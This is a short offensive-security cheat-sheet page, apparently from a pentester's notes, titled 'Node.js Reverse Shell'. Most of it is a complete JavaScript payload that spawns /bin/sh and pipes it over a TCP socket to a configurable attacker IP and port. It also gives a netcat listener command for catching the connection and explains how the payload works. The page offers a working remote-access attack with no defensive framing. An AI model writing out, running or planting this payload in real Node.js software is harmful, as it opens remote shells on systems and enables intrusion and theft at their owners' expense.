Node.js Reverse Shell

The hard part of popping a reverse shell on a Node.js server is tricking the server into loading attacker-controlled code. Once code execution is achieved, the following payload from PayloadsAllTheThings produces a reliable connection. 1

Payload

(function(){
	var net = require("net"),
	    cp  = require("child_process"),
	    sh = cp.spawn("/bin/sh", []);
	var client = new net.Socket();
	client.connect(1234, "127.0.0.1", function(){
		// Customize port and IP address above to taste
		client.pipe(sh.stdin);
		sh.stdout.pipe(client);
		sh.stderr.pipe(client);
	});
	return /a/; // Prevents Node.js from crashing
})();

This works by:

  1. Spawning /bin/sh as a child process
  2. Creating a TCP socket back to the attacker
  3. Piping the socket’s input/output streams through the shell process

The return /a/ statement prevents the Node.js event loop from exiting prematurely.

Catching the shell

Use netcat or socat:

nc -lvnp 1234

For a fully interactive TTY, upgrade after catching — see shell-stabilization.

Sources

Related: perl-reverse-shell, ruby-reverse-shell, powershell-reverse-shell, bash-reverse-shell, shell-stabilization

Footnotes

  1. Reverse Shell Cheat Sheet — PayloadsAllTheThings / InternalAllTheThings